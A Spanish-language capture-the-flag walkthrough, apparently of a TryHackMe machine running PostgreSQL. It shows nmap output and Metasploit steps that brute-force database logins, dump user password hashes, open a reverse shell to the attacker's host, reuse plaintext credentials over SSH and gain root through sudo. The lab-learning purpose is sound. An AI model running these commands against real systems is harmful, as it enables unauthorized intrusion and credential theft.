Introducción
Un RDBMS, basado en el modelo relacional EF Codd, permite una gestión eficiente de los datos al organizarlos en tablas interconectadas. A diferencia de los archivos planos, los RDBMS utilizan SQL para las operaciones CRUD, lo que garantiza una mayor eficiencia, escalabilidad y recuperación de datos.

Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| nmap -T4 -n -sC -sV -Pn -p- 10.10.155.131
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA)
| 256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA)
|_ 256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Poster CMS
5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after: 2030-07-27T00:54:25
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
Puertos abiertos:
22/tcp
80/tcp
5432/tcp
¿Qué RDBMS está instalado en el servidor?
Podemos verlo en nmap
¿En qué puerto se ejecuta el RDBMS?
Podemos verlo en nmap
¿Cuál es la ruta completa de los módulos (empezando por auxiliar)?
Iniciemos el metasploit
1
2
| msfconsole
msf6 > search postgresql
|

Respuesta:
1
| auxiliary/scanner/postgres/postgres_login
|
¿Cuáles son las credenciales que encontraste?
1
2
3
| use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_login) > exploit
|

Respuesta:
¿Cuál es la ruta completa del módulo que le permite ejecutar comandos con las credenciales de usuario adecuadas (comenzando con auxiliar)?

Respuesta:
1
| auxiliary/admin/postgres/postgres_sql
|
Según los resultados del punto n.° 6, ¿cuál es la versión de rdbms instalada en el servidor?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.155.131
msf6 auxiliary(admin/postgres/postgres_sql) > set PASSWORD password
msf6 auxiliary(admin/postgres/postgres_sql) > exploit
[*] Running module against 10.10.155.131
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
, 64-bit
[*] Auxiliary module execution completed
|
Respuesta:
¿Cuál es la ruta completa del módulo que permite volcar los hashes del usuario (comenzando con el auxiliar)?

Respuesta:
1
| auxiliary/scanner/postgres/postgres_hashdump
|
¿Cuántos hashes de usuario vuelca el módulo?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD password
msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
Username Hash
-------- ----
darkstart md58842b99375db43e9fdf238753623a27d
poster md578fb805c7412ae597b399844a54cce0a
postgres md532e12f215ba27cb750c9e093ce4b5127
sistemas md5f7dbc0d5a06653e74da6b1af9290ee2b
ti md57af9ac4c593e9e4f275576e13f935579
tryhackme md503aab1165001c8f8ccae31a8824efddc
|
Respuesta:
¿Cuál es la ruta completa del módulo (que comienza con auxiliar) que permite a un usuario autenticado ver los archivos de su elección en el servidor?

Respuesta:
1
| auxiliary/admin/postgres/postgres_readfile
|
¿Cuál es la ruta completa del módulo que permite la ejecución de comandos arbitrarios con las credenciales de usuario adecuadas (comenzando con el exploit)?
Respuesta:
1
| exploit/multi/postgres/postgres_copy_from_program_cmd_exec
|
Comprometer la máquina y localizar el archivo user.txt
Usemos el módulo proporcionado: primero, iniciemos el receptor netcat y luego procedamos con el exploit.
1
2
3
4
5
6
7
8
9
| msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.155.131
RHOSTS => 10.10.155.131
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password password
password => password
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LPORT 1337
LPORT => 1337
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 10.14.99.72
LHOST => 10.14.99.72
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit
|

Ahora podemos leer el archivo credentials.txt
ubicado en la carpeta /home/dark
1
2
| cat credentials.txt
dark:qwerty1234#!hackme
|
Ahora iniciamos sesión como dark
a través de ssh
1
2
| ssh dark@10.10.155.131
qwerty1234#!hackme
|
Después de un poco de investigación podemos encontrar las credenciales de Alison en el archivo config.php
1
| alison:p4ssw0rdS3cur3!#
|
Entonces podemos iniciar sesión como Alison y obtener el archivo user.txt

Escalar privilegios y obtener root.txt
Parece que podemos ejecutar sudo
1
2
3
4
5
6
7
8
9
10
| alison@ubuntu:~$ sudo -l
[sudo] password for alison:
Matching Defaults entries for alison on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alison may run the following commands on ubuntu:
(ALL : ALL) ALL
alison@ubuntu:~$ sudo bash
root@ubuntu:~#
|
